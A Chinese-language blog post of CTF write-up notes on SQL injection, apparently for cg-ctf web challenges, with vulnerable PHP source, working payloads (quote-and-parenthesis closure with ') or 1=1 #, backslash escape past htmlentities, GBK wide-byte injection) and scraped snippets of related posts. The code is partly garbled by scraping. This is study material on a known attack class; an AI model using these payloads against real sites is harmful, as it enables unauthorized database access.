SQL 注入筆記

2021-10-09 19:57:50 字數 3386 閱讀 4741

cg-ctf-web

sql 注入

一般都是弄到原始碼之後,根據原始碼和能輸入的字元,閉合某些字段,遮蔽後面的字段,然後在這中間插入自己的查詢語句。

源網頁**如下:

secure web login

<

/head>

<?phpif(

$_post

[user]

&&$_post

[pass])if

($query

[user]

!="admin")}

echo

$query

[user]

;?>

"username"

>

"password"

>

<

/form>

<

/body>

"index.phps"

>source<

/a>

<

/html>

分析源**,可以發現程式設計師對我們的輸入進行了一定的反注入設定,特意在條件裡面新增了引號和括號。

不過這個注入也是很簡單,提前匹配引號和括號即可,至於後面的,可以使用注釋符號#來注釋掉。

輸入的username為:') or 1=1 #'password可以不用管,然後就能構造出以下的 sql 語句了:

select

user

from ctf where

(user=''

)or1=

1#')' and (pw='')

提交之後,成功獲得 flag 。

參考:php htmlentities() 函式

php **如下:

#goal: login as admin,then get the flag;

error_reporting(0

);require

'db.inc.php'

;function

clean

($str

)return

htmlentities

($str

,ent_quotes);

}$username

= @clean

((string)

$_get

['username'])

;$password

= @clean

((string)

$_get

['password'])

;$query

='select * from users where name=\''

.$username

.'\' and pass=\''

.$password

.'\';'

;$result

=mysql_query

($query);

if(!$result

||mysql_num_rows

($result

)<1)

echo

$flag

;

可以通過注入來獲取 flag 。但是因為有乙個clean()函式,裡面的htmlentities()函式是把字串轉化為網頁可顯示的字串,也就是會轉義單引號、雙引號等字元。因此就不能直接寫 sql 語句進行注入。

不過題目提示的有 反斜槓可以用來轉義 。由於經驗不是很足,所以在看到提示之後也還是沒有什麼頭緒,最後在網上找了一下 writeup 看了下,發現可以把name = ''裡面最後乙個單引號轉義掉,這樣name後面第乙個單引號就能夠跟pass = ''前面的單引號配對了,此時只需要在傳遞的username的字串最後加乙個反斜槓\就可以轉義了。

下面是瀏覽器的請求:

?username=admin \&password= or 1=1 %23
就能構造出以下的query了:

select

*from users where name=

'admin \' and password = 'or1

=1#'

完成注入,獲得 flag !

參考:gbk字元編碼和寬位元組sql注入 、cgctf——gbk injection

在 sql 中,假如第乙個字元的值大於 128 ,則它會被認為是乙個漢字的首位元組(認為漢字是2個位元組),然後就可以在瀏覽器輸入一些字元達到這個條件來注入。

比如,有這樣一條 sql 語句:

select id, title from news where id =

'1';

這個是固定的 sql 語句,我們能夠在瀏覽器改變的是 id 的值。

因為 php 缺省會對所有的 get、post 和 cookie 資料自動進行addslashes(),我們輸入的單引號會被處理成為\',利用這個特點和寬字元的特點,我們完全可以構造乙個寬字元,直接把處理後的\'裡面的\當做是漢字的第二個位元組,然後後面的'就會封閉id欄位的查詢,進行後面的注入操作了:

select id, title from news where id =

'1珮'

and1=2

#';

構造出這條 sql 語句的瀏覽器輸入為:

?id=1%af%27and 1=2 %23
解析:只要有乙個字元的值大於 128 時就可以被判斷成漢字,所以1後面的字元可以是任意大於 128 的字元。瀏覽器輸入的這條語句在經過addslashes()後,會在%27也就是'前加乙個反斜槓變成\',然後%af位元組跟\位元組在 mysql 中就被認為是乙個漢字而過濾掉反斜槓,然後就剩下乙個單引號閉合前面的單引號,後面就可以加入自己的 sql 語句了。

**於網路:cg-ctf的gbk - injection

sql注入(筆記)

一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...

sql注入筆記

sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...

sql注入筆記

1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...